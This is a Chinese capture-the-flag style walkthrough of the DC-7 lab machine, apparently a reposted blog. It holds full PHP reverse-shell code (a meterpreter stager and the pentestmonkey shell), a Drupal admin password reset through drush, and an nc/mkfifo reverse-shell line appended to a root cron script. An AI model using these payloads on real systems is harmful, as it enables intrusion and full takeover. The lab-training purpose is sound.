DC7-靶机

下载地址

下面是作者的一些提示,和爆破无关,需要Google~~~

配置的环境:

kali:192.168.25.131         DC7-靶机 和 kali 在同一C段

渗透

nmap扫描网段,发现存活主机

nmap -sP 192.168.25.0/24

发现主机 192.168.25.128,判定为DC7-靶机,继续使用nmap获取详细信息

nmap -A -p 1-65535 192.168.25.128

开启了ssh,访问靶机ip得知,为Drupal CMS

依然提示,和暴力破解无关,仔细查看主页,发现DIY痕迹

访问作者Twitter,得到开源项目

clone,后源码审计,在 config.php 发现数据库账号密码

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

尝试SSH登录,成功登陆!

ssh [email protected]

发现mbox邮箱记录,查看,邮件内容为,调用脚本 /opt/scripts/backups.sh,写计划任务备份数据库

查看脚本,和脚本的执行权限

站点www权限和root有同样编辑权限~,

再根据邮件的大概时间间隔,可判断此脚本大概每三分钟,被root用户执行一次

此时我们就应该想到了,整理一下思路~

如果我们可以得到www-date站点权限,然后编辑修改脚本,将反弹shell的命令写入到该脚本

root用户定时计划任务执行该脚本,最后反弹root用户的shell,成功拿下靶机!!!

拿www-date站点权限

继续查看脚本,发现drush命令

drush sql-dump --result-file=/home/dc7user/backups/website.sql

drush命令,是drupal框架中用来做一些配置的命令,它可以改变用户名密码,格式如下:

drush user-password admin --password="new_pass"

查看备份文件 可以看到使用drush备份数据库的时候,先cd /var/www/html,

因此我们也切换到这个目录用drush命令试着改变默认用户admin的密码,修改成功!

登录

现在我们已经登录的站点后台,接下来就是Drupal 后台 getshell了,(链接

7-5

这里我们需要一个插件的辅助~,下载插件php-8.x-1.0.tar.gz(不安全的插件,默认移除)

Install上传到靶机上(该插件可后台编辑生成PHP文件)

上传 成功,激活插件

勾选PHP Filter Install安装

回到主页,点击在左边的Tools栏中点击Add content -> Basic page,在Body栏内写入一个反向shell的php脚本,Preview执行~

可以使用msfvenom生成的php shell,命令如下

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.25.131 LPORT=1111 -f raw

生成的shell脚本

<?php 
error_reporting(0);
$ip = '192.168.25.131';
$port = 1111;
if (($f = 'stream_socket_client') && is_callable($f)) {
    $s = $f("tcp://{$ip}:{$port}");
    $s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
    $s = $f($ip, $port);
    $s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
    $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
    $res = @socket_connect($s, $ip, $port);
    if (!$res) {
        die();
    }
    $s_type = 'socket';
}
if (!$s_type) {
    die('no socket funcs');
}
if (!$s) {
    die('no socket');
}
switch ($s_type) {
    case 'stream':
        $len = fread($s, 4);
    break;
    case 'socket':
        $len = socket_read($s, 4);
    break;
}
if (!$len) {
    die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
    switch ($s_type) {
        case 'stream':
            $b.= fread($s, $len - strlen($b));
        break;
        case 'socket':
            $b.= socket_read($s, $len - strlen($b));
        break;
    }
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    $suhosin_bypass = create_function('', $b);
    $suhosin_bypass();
} else {
    eval($b);
}
die();
?>

使用msf监听,成功反弹得到 www-date 权限

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.25.131
set lport 1111
run

或者使用nc也可以,代码如下,再或者直接写个一句话,用菜刀或者蚁剑直接连接即可~

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.25.131';  // CHANGE THIS
$port = 1111;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$stringn";
    }
}

?>

这块注意一下:

在Basic page页面直接创建 为PHP code时,该代码是不会被当成PHP语句的!

查看原作者链接,发现也有同样问题,

I’d gone through this exercise a couple of times and it seemed that on the first instance of selecting preview, I did not get PHP to render. Perhaps we need to change the Text format in advance of entering PHP or maybe it’s just this particular install being buggy. Just pointing that out in case it doesn’t work the first time around.

解决方案:

先更改创建一个Text format(无php代码),然后edit编辑更改为PHP code输入PHP代码,随后点击Preview,即可生效

第二个注意的地方是,刚开始我一直反弹的端口为6666高端口,然后一直不成功~,最后换成1111直接秒弹~,可能是高端口不太好吧- - 

最后提权到root!

使用Drupal后台反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中

(因为计划任务是root权限执行的,反弹回来的shell也会是root用户),然后在kali中监听相应端口,等待计划任务的执行(大概3分钟左右~)。

python -c "import pty;pty.spawn('/bin/bash')"
cd /opt/scripts/
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.25.131 4444 >/tmp/f" >> backups.sh

漫长的等待~~~~,成功得到ROOT权限!

总结

这次的靶机多了点社工的套路,还是蛮有意思的~

发布了67 篇原创文章 · 获赞 50 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/Auuuuuuuu/article/details/103328733